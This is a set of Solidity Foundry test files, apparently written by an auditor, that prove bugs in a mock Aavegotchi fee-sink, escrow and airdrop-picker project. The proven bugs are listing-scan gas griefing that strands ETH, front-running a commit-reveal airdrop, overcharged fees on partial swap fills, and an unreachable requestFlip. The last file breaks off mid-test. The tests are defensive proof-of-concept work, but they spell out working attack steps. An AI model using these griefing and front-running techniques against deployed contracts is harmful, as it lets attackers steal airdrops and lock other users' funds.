// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {LaunchToken} from "src/LaunchToken.sol";
import {MockAavegotchi} from "src/MockAavegotchi.sol";
import {MockBaazaar} from "src/MockBaazaar.sol";
import {HolderWeightedPicker} from "src/HolderWeightedPicker.sol";
import {FlipEscrow} from "src/FlipEscrow.sol";
import {GotchiFeeHook} from "src/GotchiFeeHook.sol";
import {FeeSink} from "src/FeeSink.sol";

/// @notice `MockBaazaar.cheapest()` iterates over every listing ever created, not over the active
/// ones. `MAX_ACTIVE_LISTINGS` therefore bounds nothing: an attacker holding a single mock gotchi can
/// `list` + `cancel` it in a loop (each cycle appends a dead entry to `_listings` forever), until the
/// scan inside `FeeSink.triggerBuy()` (which runs `cheapest()` twice: once itself, once in
/// `buyCheapest`) no longer fits in a Sepolia block (30M gas). From then on the sink can never buy and
/// its ETH is stuck: nobody can withdraw it and nothing can prune the listings array.
///
/// Fails on the current code (triggerBuy costs > 30M gas after 15_000 dead listings). Passes once the
/// scan is bounded by the number of *active* listings (e.g. an index of active listing ids that
/// `cancel`/`buyCheapest` remove from, or a sorted structure), because then the dead entries cost
/// nothing to skip.
contract BaazaarDeadListingsDoSTest is Test {
    uint256 constant BLOCK_GAS_LIMIT = 30_000_000;
    uint256 constant DEAD_LISTINGS = 15_000;
    address constant SEPOLIA_POOL_MANAGER = 0xE03A1074c86CFeDd5C142C4F04F1a1536e203543;

    LaunchToken token;
    MockAavegotchi nft;
    MockBaazaar baazaar;
    HolderWeightedPicker picker;
    FlipEscrow escrow;
    GotchiFeeHook hook;
    FeeSink sink;

    address minter = makeAddr("minter");
    address operator = makeAddr("operator");
    address seller = makeAddr("seller");
    address attacker = makeAddr("attacker");

    function setUp() public {
        token = new LaunchToken();
        nft = new MockAavegotchi(minter);
        baazaar = new MockBaazaar(address(nft));
        picker = new HolderWeightedPicker(address(token), SEPOLIA_POOL_MANAGER);
        escrow = new FlipEscrow(address(nft), address(baazaar), address(picker), operator);
        hook = new GotchiFeeHook(SEPOLIA_POOL_MANAGER);
        sink = new FeeSink(address(hook), address(baazaar), address(escrow));

        // An honest, affordable listing the sink should be able to buy.
        vm.prank(minter);
        uint256 honestId = nft.mint(seller);
        vm.startPrank(seller);
        nft.approve(address(baazaar), honestId);
        baazaar.list(honestId, 0.004 ether);
        vm.stopPrank();

        // The sink holds fees above the threshold.
        vm.deal(address(sink), 0.02 ether);
    }

    function test_oneGotchiHolderCanMakeTriggerBuyUnaffordableForever() public {
        // The attacker owns exactly one mock gotchi (bought or won earlier) and grows the listings
        // array with dead entries. Active listings never exceed 2, so MAX_ACTIVE_LISTINGS never trips.
        vm.prank(minter);
        uint256 attackerId = nft.mint(attacker);
        // The attacker spreads these cycles over many earlier blocks; they are not part of the crank's
        // cost, so they are left unmetered here (they would exceed Foundry's per-test gas limit).
        vm.pauseGasMetering();
        vm.startPrank(attacker);
        nft.setApprovalForAll(address(baazaar), true);
        for (uint256 i = 0; i < DEAD_LISTINGS; i++) {
            uint256 listingId = baazaar.list(attackerId, 1 ether);
            baazaar.cancel(listingId);
        }
        vm.stopPrank();
        vm.resumeGasMetering();
        assertEq(baazaar.activeCount(), 1, "only the honest listing is active");
        assertEq(baazaar.listingCount(), DEAD_LISTINGS + 1);

        // The honest listing is still the cheapest and affordable...
        (bool ok,,,, uint256 price,) = sink.canBuy();
        assertTrue(ok);
        assertEq(price, 0.004 ether);

        // ...but the crank no longer fits in a block, so no keeper can ever run it.
        uint256 before = gasleft();
        sink.triggerBuy();
        uint256 used = before - gasleft();
        emit log_named_uint("triggerBuy gas", used);
        assertLt(used, BLOCK_GAS_LIMIT, "triggerBuy must stay executable within one Sepolia block");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {LaunchToken} from "src/LaunchToken.sol";
import {MockAavegotchi} from "src/MockAavegotchi.sol";
import {HolderWeightedPicker} from "src/HolderWeightedPicker.sol";
import {FlipEscrow} from "src/FlipEscrow.sol";

/// @notice An unprivileged party who sees `reveal(acquisitionId, secret)` in the mempool can compute the
/// roll, register a fresh wallet with a weight chosen so that `roll % totalWeight` lands on it, and
/// front-run the reveal. The airdrop then goes to the attacker instead of one of the honest holders.
contract StealAirdropTest is Test {
    LaunchToken token;
    MockAavegotchi nft;
    HolderWeightedPicker picker;
    FlipEscrow escrow;

    address operator = makeAddr("operator");
    address minter = makeAddr("minter");
    address baazaar = makeAddr("baazaar");
    address poolManager = makeAddr("poolManager");
    address alice = makeAddr("alice");
    address bob = makeAddr("bob");
    address attacker = makeAddr("attacker");

    function setUp() public {
        token = new LaunchToken();
        nft = new MockAavegotchi(minter);
        picker = new HolderWeightedPicker(address(token), poolManager);
        escrow = new FlipEscrow(address(nft), baazaar, address(picker), operator);
        vm.roll(100);

        // Honest holders: 1,000 and 3,000 GOTCHI registered.
        token.transfer(alice, 1_000e18);
        token.transfer(bob, 3_000e18);
        vm.prank(alice);
        picker.register();
        vm.prank(bob);
        picker.register();

        // The attacker holds 1% of the registered weight.
        token.transfer(attacker, 40e18);
    }

    function test_frontRunningTheRevealStealsTheAirdrop() public {
        // Operator commits a secret whose roll is an airdrop (not a burn) for acquisition 0.
        uint256 tokenId = nft.nextTokenId();
        (bytes32 secret, bytes32 hash) = _findAirdropSecret(0, tokenId, 0);
        vm.prank(operator);
        escrow.commit(hash);
        vm.roll(101);
        vm.prank(minter);
        nft.mint(baazaar);
        vm.prank(baazaar);
        nft.safeTransferFrom(baazaar, address(escrow), tokenId);
        assertEq(uint8(escrow.getAcquisition(0).status), uint8(FlipEscrow.Status.Requested));

        // Honest outcome: the roll selects alice or bob.
        uint256 roll = escrow.rollFor(secret, escrow.getAcquisition(0).requestId);
        (address honestWinner,) = picker.pick(roll);
        assertTrue(honestWinner == alice || honestWinner == bob, "setup: an honest holder would win");

        // The operator broadcasts reveal(0, secret). The attacker reads the secret from the mempool,
        // computes the roll and searches for a weight w <= 40e18 such that
        // roll % (totalWeight + w) >= totalWeight, i.e. the target lands on the last-registered holder.
        uint256 others = picker.totalWeight();
        uint256 w = 0;
        for (uint256 i = 0; i < 100_000; i++) {
            uint256 candidate = 40e18 - i;
            if (roll % (others + candidate) >= others) {
                w = candidate;
                break;
            }
        }
        assertGt(w, 0, "a steering weight exists");

        // Front-run: fund a fresh wallet with exactly w and register it (last position).
        address wallet = makeAddr("attacker-wallet");
        vm.prank(attacker);
        token.transfer(wallet, w);
        vm.prank(wallet);
        (bool ok,) = address(picker).call(abi.encodeWithSelector(picker.register.selector));
        ok; // a fix may make this revert or be ineffective; either is fine

        // The operator's reveal lands next.
        escrow.reveal(0, secret);

        // Expected: the NFT goes to a holder chosen before the reveal became public (alice or bob),
        // or at worst is burned. Actual on the current code: the attacker's wallet receives it.
        assertTrue(nft.ownerOf(tokenId) != wallet, "airdrop was steered to the front-runner");
    }

    function _findAirdropSecret(uint256 acquisitionId, uint256 tokenId, uint256 commitmentIndex)
        internal
        view
        returns (bytes32 secret, bytes32 hash)
    {
        for (uint256 i = 1; i < 10_000; i++) {
            secret = keccak256(abi.encode("steal", i));
            hash = keccak256(abi.encodePacked(secret));
            bytes32 requestId = escrow.computeRequestId(acquisitionId, tokenId, commitmentIndex, hash);
            if (!escrow.isBurnRoll(escrow.rollFor(secret, requestId))) return (secret, hash);
        }
        revert("no secret");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {PoolId, PoolIdLibrary} from "v4-core/src/types/PoolId.sol";
import {Currency, CurrencyLibrary} from "v4-core/src/types/Currency.sol";
import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
import {SwapParams} from "v4-core/src/types/PoolOperation.sol";
import {StateLibrary} from "v4-core/src/libraries/StateLibrary.sol";
import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol";

import {LaunchToken} from "src/LaunchToken.sol";
import {GotchiFeeHook} from "src/GotchiFeeHook.sol";
import {HookMiner} from "src/HookMiner.sol";
import {FeeSink} from "src/FeeSink.sol";
import {MockAavegotchi} from "src/MockAavegotchi.sol";
import {MockBaazaar} from "src/MockBaazaar.sol";
import {FlipEscrow} from "src/FlipEscrow.sol";
import {HolderWeightedPicker} from "src/HolderWeightedPicker.sol";
import {ForeverLiquidity} from "src/ForeverLiquidity.sol";

/// @notice The hook charges 30 bps of `amountSpecified` whenever ETH is the specified currency, even
/// when the pool only partially fills the swap because the trader's `sqrtPriceLimitX96` is reached.
/// An exact-output ETH purchase that fills 1e13 wei is charged 3e15 wei: the trader pays ETH and
/// tokens and receives nothing. The fee must be at most 30 bps of the ETH the pool actually moved
/// (or the swap must revert).
contract PartialFillFeeTest is Test {
    using StateLibrary for IPoolManager;
    using PoolIdLibrary for PoolKey;

    PoolManager manager;
    LaunchToken token;
    GotchiFeeHook hook;
    FeeSink sink;
    ForeverLiquidity forever;
    PoolSwapTest swapRouter;
    PoolKey key;

    receive() external payable {}

    function setUp() public {
        vm.deal(address(this), 1_000 ether);
        manager = new PoolManager(address(this));
        token = new LaunchToken();

        bytes memory creationCode = abi.encodePacked(type(GotchiFeeHook).creationCode, abi.encode(address(manager)));
        (, bytes32 salt) = HookMiner.find(address(this), 0xCC, creationCode, 0);
        hook = new GotchiFeeHook{salt: salt}(address(manager));

        MockAavegotchi nft = new MockAavegotchi(address(this));
        MockBaazaar baazaar = new MockBaazaar(address(nft));
        HolderWeightedPicker picker = new HolderWeightedPicker(address(token), address(manager));
        FlipEscrow escrow = new FlipEscrow(address(nft), address(baazaar), address(picker), address(this));
        sink = new FeeSink(address(hook), address(baazaar), address(escrow));
        forever = new ForeverLiquidity(address(token), address(manager), address(hook));

        swapRouter = new PoolSwapTest(manager);
        token.approve(address(swapRouter), type(uint256).max);

        key = forever.poolKey();
        uint160 sqrtPrice = forever.sqrtPriceX96ForAmounts(10 ether, 100_000_000e18);
        forever.initializePool(sqrtPrice);
        uint128 liquidity = forever.liquidityForAmounts(10 ether, 100_000_000e18);
        token.approve(address(forever), 100_000_000e18);
        forever.addLiquidity{value: 10 ether}(liquidity, 100_000_000e18);
    }

    function test_exactOutputEthPartialFillIsNotOvercharged() public {
        (uint160 sqrtP,,,) = IPoolManager(address(manager)).getSlot0(key.toId());
        // A limit just above the current price: the pool can only deliver a sliver of ETH.
        uint160 limit = uint160(uint256(sqrtP) * 1_000_001 / 1_000_000);
        SwapParams memory params = SwapParams({zeroForOne: false, amountSpecified: 1 ether, sqrtPriceLimitX96: limit});

        uint256 sinkBefore = address(sink).balance;
        (bool ok, bytes memory ret) = address(swapRouter).call{value: 1 ether}(
            abi.encodeCall(
                PoolSwapTest.swap, (key, params, PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false}), "")
            )
        );
        // A fix that rejects partial fills on ETH-specified swaps is acceptable.
        if (!ok) return;

        BalanceDelta delta = abi.decode(ret, (BalanceDelta));
        uint256 fee = address(sink).balance - sinkBefore;
        // The trader asked to BUY ETH: they must never end up paying ETH.
        assertGe(delta.amount0(), 0, "ETH buyer paid ETH on top of tokens");
        // ETH moved by the pool = what the trader received + what the hook kept.
        uint256 ethMoved = uint256(int256(delta.amount0())) + fee;
        assertLe(fee, ethMoved * 30 / 10_000 + 1, "fee exceeds 30 bps of the ETH actually moved");
    }

    function test_exactInputEthPartialFillIsNotOvercharged() public {
        (uint160 sqrtP,,,) = IPoolManager(address(manager)).getSlot0(key.toId());
        uint160 limit = uint160(uint256(sqrtP) * 999_999 / 1_000_000);
        SwapParams memory params = SwapParams({zeroForOne: true, amountSpecified: -1 ether, sqrtPriceLimitX96: limit});

        uint256 sinkBefore = address(sink).balance;
        (bool ok, bytes memory ret) = address(swapRouter).call{value: 1 ether}(
            abi.encodeCall(
                PoolSwapTest.swap, (key, params, PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false}), "")
            )
        );
        if (!ok) return;

        BalanceDelta delta = abi.decode(ret, (BalanceDelta));
        uint256 fee = address(sink).balance - sinkBefore;
        uint256 ethPaid = uint256(-int256(delta.amount0()));
        uint256 ethToPool = ethPaid - fee;
        assertLe(fee, ethToPool * 30 / 10_000 + 1, "fee exceeds 30 bps of the ETH actually swapped");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {LaunchToken} from "src/LaunchToken.sol";
import {MockAavegotchi} from "src/MockAavegotchi.sol";
import {HolderWeightedPicker} from "src/HolderWeightedPicker.sol";
import {FlipEscrow} from "src/FlipEscrow.sol";

/// @notice The roll is fixed once the secret is public, but the winner is `roll % totalWeight` evaluated
/// against the picker's *current* state at reveal time. Anyone who sees `reveal(secret)` in the mempool
/// computes the roll, chooses a weight `w` such that `roll % (T + w)` lands in their own range [T, T+w),
/// registers with exactly `w` tokens in the same block ahead of the reveal, and wins the airdrop.
contract RevealFrontrunTest is Test {
    LaunchToken token;
    MockAavegotchi nft;
    HolderWeightedPicker picker;
    FlipEscrow escrow;

    address operator = makeAddr("operator");
    address minter = makeAddr("minter");
    address baazaar = makeAddr("baazaar");
    address poolManager = makeAddr("poolManager");
    address alice = makeAddr("alice");
    address bob = makeAddr("bob");
    address carol = makeAddr("carol");
    address attacker = makeAddr("attacker");

    function setUp() public {
        token = new LaunchToken();
        nft = new MockAavegotchi(minter);
        picker = new HolderWeightedPicker(address(token), poolManager);
        escrow = new FlipEscrow(address(nft), baazaar, address(picker), operator);
        vm.roll(100);
    }

    function _register(address holder, uint256 amount) internal {
        token.transfer(holder, amount);
        vm.prank(holder);
        picker.register();
    }

    function test_lateRegistrantSteersTheAirdropToThemselves() public {
        // Honest holders: 10,000 GOTCHI of registered weight.
        _register(alice, 1_000e18);
        _register(bob, 3_000e18);
        _register(carol, 6_000e18);
        uint256 honestWeight = picker.totalWeight();

        // The operator commits a secret whose roll is an airdrop roll; the NFT arrives a block later.
        uint256 expectedTokenId = nft.nextTokenId();
        bytes32 secret;
        bytes32 hash;
        for (uint256 i = 1;; i++) {
            secret = keccak256(abi.encode("secret", i));
            hash = keccak256(abi.encodePacked(secret));
            bytes32 rid = escrow.computeRequestId(0, expectedTokenId, 0, hash);
            if (!escrow.isBurnRoll(escrow.rollFor(secret, rid))) break;
        }
        vm.prank(operator);
        escrow.commit(hash);
        vm.roll(101);
        vm.prank(minter);
        uint256 tokenId = nft.mint(baazaar);
        vm.prank(baazaar);
        nft.safeTransferFrom(baazaar, address(escrow), tokenId);

        // The operator broadcasts reveal(0, secret). The attacker reads it from the mempool, derives the
        // roll and searches for a weight w <= 0.1% of the honest weight such that roll % (T + w) >= T.
        uint256 roll = escrow.rollFor(secret, escrow.getAcquisition(0).requestId);
        uint256 w = 0;
        for (uint256 candidate = 1e15; candidate <= honestWeight / 1000; candidate += 1e15) {
            if (roll % (honestWeight + candidate) >= honestWeight) {
                w = candidate;
                break;
            }
        }
        assertGt(w, 0, "a steering weight under 0.1% of the pool exists for this roll");

        // Front-run: fund exactly w and register, then the operator's reveal lands.
        _register(attacker, w);
        escrow.reveal(0, secret);

        // Expected: a holder with 0.1% of the weight wins about 0.1% of the time; the registered honest
        // holders should receive this airdrop. Actual: the attacker owns the NFT.
        assertTrue(nft.ownerOf(tokenId) != attacker, "a registrant who joined after the secret was public must not win");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {GotchiFeeHook} from "src/GotchiFeeHook.sol";
import {FeeSink} from "src/FeeSink.sol";
import {MockAavegotchi} from "src/MockAavegotchi.sol";
import {MockBaazaar} from "src/MockBaazaar.sol";
import {FlipEscrow} from "src/FlipEscrow.sol";
import {HolderWeightedPicker} from "src/HolderWeightedPicker.sol";
import {LaunchToken} from "src/LaunchToken.sol";

/// @notice `MockBaazaar.cheapest()` walks every listing ever created, not only the active ones, so the
/// `MAX_ACTIVE_LISTINGS` cap (documented as what keeps the scan affordable) does not bound it. A seller
/// holding one NFT grows the history with list/cancel cycles (about 275k gas each, 2,400 gas of scan per
/// cycle forever after). At ~12,500 cycles `cheapest()` alone exceeds 30M gas, so `FeeSink.triggerBuy`,
/// `FeeSink.canBuy` and `MockBaazaar.buyCheapest` can no longer execute and the sink's ETH (no admin
/// withdrawal) is stuck. This test stays inside the default test gas budget with 3,500 cycles and checks
/// the invariant the cap is supposed to give: the crank costs O(MAX_ACTIVE_LISTINGS), not O(history).
contract BaazaarScanGriefTest is Test {
    uint256 constant CYCLES = 3_500;
    // 128 active listings * ~2,400 gas = ~310k for the scan, plus ~400k for the purchase itself.
    // Anything a small multiple above that is history-dependent cost, which the cap must prevent.
    uint256 constant GAS_CAP = 3_000_000;

    LaunchToken token;
    GotchiFeeHook hook;
    MockAavegotchi nft;
    MockBaazaar baazaar;
    HolderWeightedPicker picker;
    FlipEscrow escrow;
    FeeSink sink;

    address griefer = makeAddr("griefer");
    address seller = makeAddr("seller");
    address minter = makeAddr("minter");

    function setUp() public {
        token = new LaunchToken();
        hook = new GotchiFeeHook(address(0xE03A1074c86CFeDd5C142C4F04F1a1536e203543));
        nft = new MockAavegotchi(minter);
        baazaar = new MockBaazaar(address(nft));
        picker = new HolderWeightedPicker(address(token), address(0xE03A1074c86CFeDd5C142C4F04F1a1536e203543));
        escrow = new FlipEscrow(address(nft), address(baazaar), address(picker), address(this));
        sink = new FeeSink(address(hook), address(baazaar), address(escrow));
    }

    function test_crankCostIsBoundedByTheActiveListingCapNotByHistory() public {
        // One honest, affordable listing and a funded sink.
        vm.prank(minter);
        uint256 honestId = nft.mint(seller);
        vm.startPrank(seller);
        nft.approve(address(baazaar), honestId);
        baazaar.list(honestId, 0.004 ether);
        vm.stopPrank();
        vm.deal(address(sink), 0.02 ether);

        // The griefer owns a single mock gotchi (bought, gifted or minted) and churns it.
        vm.prank(minter);
        uint256 junkId = nft.mint(griefer);
        vm.startPrank(griefer);
        nft.setApprovalForAll(address(baazaar), true);
        for (uint256 i = 0; i < CYCLES; i++) {
            uint256 listingId = baazaar.list(junkId, 1 ether);
            baazaar.cancel(listingId);
        }
        vm.stopPrank();
        assertEq(baazaar.activeCount(), 1, "only the honest listing is active");
        assertEq(baazaar.listingCount(), CYCLES + 1);

        uint256 before = gasleft();
        baazaar.cheapest();
        emit log_named_uint("gas used by cheapest() with one active listing", before - gasleft());

        // Expected: the crank buys the single active listing for a cost bounded by MAX_ACTIVE_LISTINGS.
        // Actual: `cheapest()` reads all 3,501 listings (~8.4M gas) and the call runs out of gas.
        (bool ok,) = address(sink).call{gas: GAS_CAP}(abi.encodeWithSelector(FeeSink.triggerBuy.selector));
        assertTrue(ok, "triggerBuy cost must not grow with the number of inactive listings");
        assertEq(nft.ownerOf(honestId), address(escrow));
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {LaunchToken} from "src/LaunchToken.sol";
import {GotchiFeeHook} from "src/GotchiFeeHook.sol";
import {FeeSink} from "src/FeeSink.sol";
import {MockAavegotchi} from "src/MockAavegotchi.sol";
import {MockBaazaar} from "src/MockBaazaar.sol";
import {FlipEscrow} from "src/FlipEscrow.sol";
import {HolderWeightedPicker} from "src/HolderWeightedPicker.sol";

/// @notice MockBaazaar.cheapest() scans every listing ever created, not only the active ones, so
/// MAX_ACTIVE_LISTINGS does not bound it. One gotchi listed and cancelled repeatedly grows the array
/// until FeeSink.triggerBuy (which scans twice) no longer fits in a block, stranding the fee ETH forever.
///
/// Each dead listing costs the crank about 2,840 gas (a cold scan in triggerBuy plus a warm one inside
/// buyCheapest), so a 30M block is exhausted near 10,600 dead listings. Gas metering is paused for the
/// griefing loop only because forge caps a single call at 2^30 gas; on chain the cycles are ordinary
/// transactions from one account that owns a single gotchi.
contract ProofCheapestScanTest is Test {
    uint256 constant BLOCK_GAS_LIMIT = 30_000_000;
    uint256 constant DEAD_LISTINGS = 12_000;

    LaunchToken token;
    GotchiFeeHook hook;
    MockAavegotchi nft;
    MockBaazaar baazaar;
    HolderWeightedPicker picker;
    FlipEscrow escrow;
    FeeSink sink;

    address operator = makeAddr("operator");
    address minter = makeAddr("minter");
    address griefer = makeAddr("griefer");
    address seller = makeAddr("seller");
    address poolManager = makeAddr("poolManager");
    uint256 goodId;
    uint256 junkId;

    function setUp() public {
        token = new LaunchToken();
        hook = new GotchiFeeHook(poolManager);
        nft = new MockAavegotchi(minter);
        baazaar = new MockBaazaar(address(nft));
        picker = new HolderWeightedPicker(address(token), poolManager);
        escrow = new FlipEscrow(address(nft), address(baazaar), address(picker), operator);
        sink = new FeeSink(address(hook), address(baazaar), address(escrow));

        // An honest listing the sink should be able to buy, and enough fee ETH to buy it.
        vm.prank(minter);
        goodId = nft.mint(seller);
        vm.startPrank(seller);
        nft.approve(address(baazaar), goodId);
        baazaar.list(goodId, 0.005 ether);
        vm.stopPrank();
        vm.deal(address(this), 1 ether);
        (bool funded,) = address(sink).call{value: 0.02 ether}("");
        assertTrue(funded);

        // The griefer owns one gotchi (an airdrop, or bought from the Baazaar) and lists/cancels it.
        vm.prank(minter);
        junkId = nft.mint(griefer);
        vm.prank(griefer);
        nft.setApprovalForAll(address(baazaar), true);
        vm.pauseGasMetering();
        _listAndCancel(DEAD_LISTINGS);
        vm.resumeGasMetering();
    }

    function test_triggerBuyStillFitsInABlockAfterManyCancelledListings() public {
        assertEq(baazaar.activeCount(), 1, "only the honest listing is active");
        assertEq(baazaar.listingCount(), 1 + DEAD_LISTINGS);

        // The crank must still run within one block's gas; today the scan over dead listings exceeds it.
        (bool cranked,) = address(sink).call{gas: BLOCK_GAS_LIMIT}(abi.encodeCall(FeeSink.triggerBuy, ()));
        assertTrue(cranked, "triggerBuy ran out of block gas: fee ETH is stranded in the sink");
        assertEq(nft.ownerOf(goodId), address(escrow));
    }

    function _listAndCancel(uint256 cycles) internal {
        vm.startPrank(griefer);
        for (uint256 i = 0; i < cycles; i++) {
            uint256 listingId = baazaar.list(junkId, 1 ether);
            baazaar.cancel(listingId);
        }
        vm.stopPrank();
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {SwapParams} from "v4-core/src/types/PoolOperation.sol";
import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
import {StateLibrary} from "v4-core/src/libraries/StateLibrary.sol";
import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol";

import {LaunchToken} from "src/LaunchToken.sol";
import {GotchiFeeHook} from "src/GotchiFeeHook.sol";
import {HookMiner} from "src/HookMiner.sol";
import {FeeSink} from "src/FeeSink.sol";
import {MockAavegotchi} from "src/MockAavegotchi.sol";
import {MockBaazaar} from "src/MockBaazaar.sol";
import {FlipEscrow} from "src/FlipEscrow.sol";
import {HolderWeightedPicker} from "src/HolderWeightedPicker.sol";
import {ForeverLiquidity} from "src/ForeverLiquidity.sol";

/// @notice When ETH is the specified currency the hook charges FEE_BPS of `amountSpecified` in beforeSwap,
/// before the pool knows how much will actually trade. A swap stopped early by its price limit (partial
/// fill) pays the fee on the whole requested amount, not on the ETH that moved: here 0.03 ETH on a swap
/// that moved 0.01 ETH, i.e. 300% instead of 0.30%.
contract ProofPartialFillFeeTest is Test {
    using StateLibrary for IPoolManager;

    uint256 constant INITIAL_ETH = 10 ether;
    uint256 constant INITIAL_TOKENS = 100_000_000e18;

    PoolManager manager;
    LaunchToken token;
    GotchiFeeHook hook;
    FeeSink sink;
    ForeverLiquidity forever;
    PoolSwapTest swapRouter;
    PoolKey key;

    receive() external payable {}

    function setUp() public {
        vm.deal(address(this), 1_000 ether);
        manager = new PoolManager(address(this));
        token = new LaunchToken();

        bytes memory creationCode = abi.encodePacked(type(GotchiFeeHook).creationCode, abi.encode(address(manager)));
        (address predicted, bytes32 salt) = HookMiner.find(address(this), 0xCC, creationCode, 0);
        hook = new GotchiFeeHook{salt: salt}(address(manager));
        assertEq(address(hook), predicted);

        MockAavegotchi nft = new MockAavegotchi(address(this));
        MockBaazaar baazaar = new MockBaazaar(address(nft));
        HolderWeightedPicker picker = new HolderWeightedPicker(address(token), address(manager));
        FlipEscrow escrow = new FlipEscrow(address(nft), address(baazaar), address(picker), address(this));
        sink = new FeeSink(address(hook), address(baazaar), address(escrow));

        forever = new ForeverLiquidity(address(token), address(manager), address(hook));
        key = forever.poolKey();
        uint160 sqrtPrice = forever.sqrtPriceX96ForAmounts(INITIAL_ETH, INITIAL_TOKENS);
        forever.initializePool(sqrtPrice);
        uint128 liquidity = forever.liquidityForAmounts(INITIAL_ETH, INITIAL_TOKENS);
        token.approve(address(forever), INITIAL_TOKENS);
        forever.addLiquidity{value: INITIAL_ETH}(liquidity, INITIAL_TOKENS);

        swapRouter = new PoolSwapTest(manager);
        token.approve(address(swapRouter), type(uint256).max);
    }

    function test_partialFillPaysThirtyBpsOfTheEthActuallySwapped() public {
        (uint160 sqrtPriceX96,,,) = IPoolManager(address(manager)).getSlot0(forever.poolId());
        // Exact-input 10 ETH, but a price limit 0.1% below spot lets only a sliver of it trade.
        uint160 limit = uint160(uint256(sqrtPriceX96) * 999 / 1000);
        uint256 sinkBefore = address(sink).balance;

        BalanceDelta delta = swapRouter.swap{value: 10 ether}(
            key,
            SwapParams({zeroForOne: true, amountSpecified: -10 ether, sqrtPriceLimitX96: limit}),
            PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false}),
            ""
        );

        uint256 fee = address(sink).balance - sinkBefore;
        uint256 ethPaid = uint256(-int256(delta.amount0()));
        uint256 ethSwapped = ethPaid - fee;
        assertLt(ethPaid, 1 ether, "the price limit stopped the swap early");

        // Expected: FEE_BPS of the ETH that actually moved (rounding tolerance 1 wei).
        // Actual today: 0.03 ETH, the fee on the full 10 ETH that was never swapped.
        assertApproxEqAbs(fee, hook.feeFor(ethSwapped), 1, "fee must be 30 bps of the ETH actually swapped");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {LaunchToken} from "src/LaunchToken.sol";
import {MockAavegotchi} from "src/MockAavegotchi.sol";
import {HolderWeightedPicker} from "src/HolderWeightedPicker.sol";
import {FlipEscrow} from "src/FlipEscrow.sol";

/// @notice A `Pending` acquisition can never be bound: `_tryRequest` only accepts the oldest unbound
/// commitment and only if it predates the NFT's arrival, but every commitment that exists when the NFT
/// arrives has already been rejected for that reason and every later one is newer still. `requestFlip`
/// therefore always reverts, and an acquisition that arrives with an empty queue is burned by `expire`
/// with certainty instead of being flipped 50/50.
contract ProofRequestFlipTest is Test {
    LaunchToken token;
    MockAavegotchi nft;
    HolderWeightedPicker picker;
    FlipEscrow escrow;

    address operator = makeAddr("operator");
    address minter = makeAddr("minter");
    address baazaar = makeAddr("baazaar");
    address poolManager = makeAddr("poolManager");

    function setUp() public {
        token = new LaunchToken();
        nft = new MockAavegotchi(minter);
        picker = new HolderWeightedPicker(address(token), poolManager);
        escrow = new FlipEscrow(address(nft), baazaar, address(picker), operator);
        vm.roll(100);
    }

    function test_pendingAcquisitionCanBeBoundOnceACommitmentExists() public {
        // Block 100: a gotchi is bought while the commitment queue is empty -> Pending.
        vm.prank(minter);
        uint256 id = nft.mint(baazaar);
        vm.prank(baazaar);
        nft.safeTransferFrom(baazaar, address(escrow), id);
        assertEq(uint8(escrow.getAcquisition(0).status), uint8(FlipEscrow.Status.Pending));

        // Block 101: the operator commits. Block 102: a keeper asks for the flip, as the README says to.
        vm.roll(101);
        vm.prank(operator);
        escrow.commit(keccak256("secret"));
        vm.roll(102);
        assertEq(escrow.availableCommitments(), 1, "a commitment is available");

        // Expected: the pending acquisition is bound and can be revealed. Actual: NoCommitmentAvailable,
        // forever; the only exit is a forced burn through expire().
        escrow.requestFlip(0);
        assertEq(uint8(escrow.getAcquisition(0).status), uint8(FlipEscrow.Status.Requested));
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {LaunchToken} from "src/LaunchToken.sol";
import {MockAavegotchi} from "src/MockAavegotchi.sol";
import {HolderWeightedPicker} from "src/HolderWeightedPicker.sol";
import {FlipEscrow} from "src/FlipEscrow.sol";

/// @notice Proof: `FlipEscrow.requestFlip` can never succeed.
///
/// `_tryRequest` requires `commitment.commitBlock < acquisition.receivedBlock`. Commitments are appended
/// with the current block, so every commitment made after an acquisition arrived has
/// `commitBlock >= receivedBlock`. An acquisition that found no eligible commitment at receipt therefore
/// stays `Pending` until anyone force-burns it with `expire`, although the contract's own documentation
/// says it "waits as Pending until requestFlip finds one" and the README tells keepers to call
/// `requestFlip` once commitments exist. Expected: a commitment made in a later block binds the pending
/// acquisition. Actual: `NoCommitmentAvailable()` forever, and the 50/50 flip degenerates to a certain burn.
contract ProofRequestFlipUnreachable is Test {
    address operator = makeAddr("operator");
    address minter = makeAddr("minter");
    address baazaar = makeAddr("baazaar");

    function test_commitmentMadeAfterReceiptCanBindAPendingAcquisition() public {
        LaunchToken token = new LaunchToken();
        MockAavegotchi nft = new MockAavegotchi(minter);
        HolderWeightedPicker picker = new HolderWeightedPicker(address(token), makeAddr("poolManager"));
        FlipEscrow escrow = new FlipEscrow(address(nft), baazaar, address(picker), operator);

        vm.roll(100);
        vm.prank(minter);
        uint256 tokenId = nft.mint(baazaar);
        vm.prank(baazaar);
